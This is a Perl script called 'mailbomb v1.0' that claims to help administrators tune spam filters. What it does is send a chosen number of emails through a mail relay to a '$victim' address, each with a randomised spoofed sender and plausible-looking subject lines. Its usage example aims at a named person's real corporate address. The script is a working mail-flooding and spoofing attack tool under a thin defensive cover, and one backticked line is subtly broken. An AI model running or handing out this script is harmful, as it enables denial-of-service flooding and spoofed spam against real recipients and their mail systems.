#!/usr/local/bin/perl # title: mailbomb v1.0 # author: Mike Jackson / mike@secsup.ca # date: 12/04/03 # purpose: to aid system administrators in tweaking spam filters use Net::SMTP; if ( ! $ARGV[0] || ! $ARGV[1] || ! $ARGV[2] ) { print "\nmailbomb v1.0 - mass e-mail tool to aid sysadmins in tweaking spam filters - written by Mike Jackson\n"; print "\nusage: mailbomb.pl [-s] [\"subject here\"] [-b] [\"body text here\"]\n"; print " ex: ./mailbomb.pl bill\@microsoft.com maila.microsoft.com 100 -s \"Windows Sucks!\" -b \"Hi Bill, Windows should really be called Open Doors!\"\n note: if you don't specify the subject/bodytext on the command line, it'll use the static defaults.\n\n"; exit 0; } if ( $ARGV[3] eq '-s' && $ARGV[4] ) { $subject = $ARGV[4]; } if ( $ARGV[3] eq '-b' && $ARGV[4] ) { $body = $ARGV[4]; } if ( $ARGV[3] eq '-s' && $ARGV[5] eq '-b' ) { $subject = $ARGV[4]; $body = $ARGV[6]; } if ( $ARGV[3] eq '-b' && $ARGV[5] eq '-s' ) { $subject = $ARGV[6]; $body = $ARGV[4]; } # put our destination email address into a variable $victim = $ARGV[0]; # put our mail relay into a variable $mailrelay = $ARGV[1]; # put our number of emaisl into a variable $numtime = $ARGV[2]; # get the current date/time for emails and put it into a variable $time = localtime; # static subjects/realnames/users/domains to use for randomized email flooding - MODIFY TO YOUR LIKING! @static_subjects = ("RE: weekend", "Fwd: Joke", "what's up", "that job", "job posting", "url", "what a night", "christmas party", "celebration", "congrats!", "welcome", "trip", "vacation", "beaches", "time off", "boys weekend", "girls weekend", "that girl", "yo", "what's happenin?", "you still have it?", "going this weekend?", "he said you'd be able to help", "she said you'd be able to help"); @static_realnames = ("Put Your", "Random Real", "Names Here" ); @static_users = qw ( ident1 ident2 ident3 etc4 ); @static_domains = qw ( a.com b.com c.com d.com e.com etc.com ); # connect to our mail relay $smtp = Net::SMTP->new(gethostbyname($mailrelay)); # print some program information print "\nmailbomb v1.0 - mass e-mail tool to aid sysadmins in tweaking spam filters - written by Mike Jackson\n"; print "\nnote: if you don't specify the subject/bodytext on the command line, it'll use the static defaults.\n\nmail flooding \[$victim\] $numtime times.\n\n"; # begin our main program loop for ( $mikeloop=1; $mikeloop<$numtime+1; $mikeloop+=1 ) { if ( ! $ARGV[3] ) { $subject = $static_subjects[rand @static_subjects]; } if ( $ARGV[3] eq '-b' && ! $ARGV[5] ) { $subject = $static_subjects[rand @static_subjects]; } if ( ! $body ) { $body = "change this static body text"; } $realname = $static_realnames[rand @static_realnames]; $users = $static_users[rand @static_users]; $domains = $static_domains[rand @static_domains]; print "sending [$mikeloop/$numtime] from: [$users\@$domains] subject: [$subject] and body text: [$body]\n"; $smtp->mail(`$users\@$domains`); $smtp->to($victim); $smtp->data(); $smtp->datasend("Date: $time\n"); $smtp->datasend("From:$realname <$users\@$domains>\n"); $smtp->datasend("To: $victim\n"); $smtp->datasend("Subject: $subject\n"); $smtp->datasend("\n"); $smtp->datasend("$body\n"); $smtp->dataend(); } print "\n"; # disconnect from mail relay $smtp->quit;